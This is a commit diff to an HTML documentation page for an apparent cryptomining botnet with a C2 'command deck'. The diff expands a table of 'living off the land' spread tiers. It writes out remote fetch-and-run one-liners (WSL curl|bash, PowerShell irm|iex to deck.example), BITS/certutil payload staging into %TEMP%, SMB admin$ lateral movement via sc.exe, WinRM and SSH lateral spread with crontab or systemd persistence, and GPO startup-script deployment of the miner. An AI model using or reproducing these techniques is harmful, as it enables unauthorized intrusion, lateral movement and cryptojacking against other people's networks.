Expand LOTL vector glossary, examples, and mermaid architecture docs

server/web/public/docs/SPREAD_TECHNIQUES.html

@@ -386,18 +386,58 @@ irm https://your.site/install.ps1?pin={build_id}&amp;c=docs | iex</code></pre>
             <code>server.lotl_onion_tiers</code> in Calibrate on WebSocket auth — no re-forge to reorder.
           </p>
           <table class="wiki-table">
-            <thead><tr><th>Tier</th><th>One-line</th></tr></thead>
+            <thead><tr><th>Tier</th><th>Definition</th><th>Example</th></tr></thead>
             <tbody>
-              <tr id="lotl-tier-vuln_recon"><td><strong>vuln recon</strong></td><td>Read-only KEV/CVE/service probe — report-only, no exploit</td></tr>
-              <tr id="lotl-tier-docker"><td><strong>docker</strong></td><td>Container worker image — isolated RandomX, no host miner exe drop</td></tr>
-              <tr id="lotl-tier-wsl"><td><strong>wsl</strong></td><td>WSL curl|bash one-liner when native Windows path is blocked</td></tr>
-              <tr id="lotl-tier-powershell"><td><strong>powershell</strong></td><td>PS remoting / hidden install.ps1 from your C2 origin</td></tr>
-              <tr id="lotl-tier-dotnet"><td><strong>dotnet</strong></td><td>dotnet tool-run bootstrap — no standalone payload exe</td></tr>
-              <tr id="lotl-tier-bits_curl"><td><strong>bits/curl</strong></td><td>BITS transfer or curl|bash to <code>/install.ps1</code> — fileless fetch</td></tr>
-              <tr id="lotl-tier-smb"><td><strong>smb</strong></td><td>admin$ / C$ copy + SCM — classic lateral on open 445</td></tr>
-              <tr id="lotl-tier-winrm"><td><strong>winrm</strong></td><td>Opportunistic PS remoting when 5985/5986 responds</td></tr>
-              <tr id="lotl-tier-linux"><td><strong>linux</strong></td><td>SSH lateral on Unix agents — same wallet, no extra drop</td></tr>
-              <tr id="lotl-tier-gpo"><td><strong>gpo</strong></td><td>Domain startup/logon script push — operator-owned AD only</td></tr>
+              <tr id="lotl-tier-vuln_recon">
+                <td><strong>vuln_recon</strong></td>
+                <td>Read-only KEV/CVE/service probe before spread — report-only, no exploit. Feeds <code>vuln_findings</code> and <code>patch_first</code> gates.</td>
+                <td>Automatic triple-onion recon tier, or Crucible <code>full_sys_check</code> → risk badge on next <code>stats_batch</code>.</td>
+              </tr>
+              <tr id="lotl-tier-docker">
+                <td><strong>docker</strong></td>
+                <td>Deploy or mine inside Docker/Podman — isolated RandomX, no host miner exe drop.</td>
+                <td>Service allowlist maps <code>com.docker.service</code> → <code>docker_load</code>; Probe &amp; Join when Docker is running.</td>
+              </tr>
+              <tr id="lotl-tier-wsl">
+                <td><strong>wsl</strong></td>
+                <td>WSL curl|bash one-liner when native Windows execution is blocked.</td>
+                <td><code>wsl -e bash -c "curl -sL https://deck.example/install.sh?pin=BUILD_ID | bash"</code></td>
+              </tr>
+              <tr id="lotl-tier-powershell">
+                <td><strong>powershell</strong></td>
+                <td>Hidden PS bootstrap or remoting from your C2 origin — no standalone payload exe.</td>
+                <td><code>irm https://deck.example/install.ps1?pin=BUILD_ID&amp;c=lab | iex</code> — WinRM template export.</td>
+              </tr>
+              <tr id="lotl-tier-dotnet">
+                <td><strong>dotnet</strong></td>
+                <td><code>dotnet tool run</code> bootstrap — avoids a lone unsigned miner exe on disk.</td>
+                <td>Forge <code>miner_execution=dotnet</code>; spread lane runs dotnet bootstrap from install manifest.</td>
+              </tr>
+              <tr id="lotl-tier-bits_curl">
+                <td><strong>bits_curl</strong></td>
+                <td>BITS (<code>bitsadmin</code>) or <code>curl.exe</code> staging — optional <code>certutil -decode</code>, SHA256 verify, launch.</td>
+                <td>Crucible <code>stage_fetch</code>: <code>{"method":"curl","chunks":[{"url":"https://deck/chunk1.b64","file":"c1.b64"}],"sha256":"…","dest":"%TEMP%\\worker.exe","launch":"exe"}</code></td>
+              </tr>
+              <tr id="lotl-tier-smb">
+                <td><strong>smb</strong> (<code>spread_smb_unc</code>)</td>
+                <td>admin$ / C$ lateral via <code>sc.exe</code> + <code>net.exe</code> on open port 445 — no PsExec.</td>
+                <td><code>{"action":"spread_smb_unc","path":"\\\\forge-host\\pathforge$\\worker.exe"}</code></td>
+              </tr>
+              <tr id="lotl-tier-winrm">
+                <td><strong>winrm</strong></td>
+                <td>Opportunistic PS remoting when 5985/5986 responds on subnet peers.</td>
+                <td><code>POST /api/v1/builder/spread-template-export</code> <code>{"template":"winrm","com_hijack":false}</code></td>
+              </tr>
+              <tr id="lotl-tier-linux">
+                <td><strong>linux</strong> (<code>linux_lotl</code>)</td>
+                <td>SSH/SCP lateral on Unix agents — same wallet; optional systemd-run or crontab persistence.</td>
+                <td><code>{"template":"linux-lotl","lotl_mode":"both"}</code> — <code>lotl-bootstrap.sh</code> + <code>autospread_unix.go</code>.</td>
+              </tr>
+              <tr id="lotl-tier-gpo">
+                <td><strong>gpo</strong></td>
+                <td>AD Group Policy startup script pulls worker on boot — mining policy stays on command deck.</td>
+                <td>Export <code>{"template":"gpo"}</code> → Computer Configuration → Scripts → Startup → <code>gpo-startup.ps1</code>. Intune: <code>{"template":"intune"}</code>.</td>
+              </tr>
             </tbody>
           </table>
           <h4>Forge steps</h4>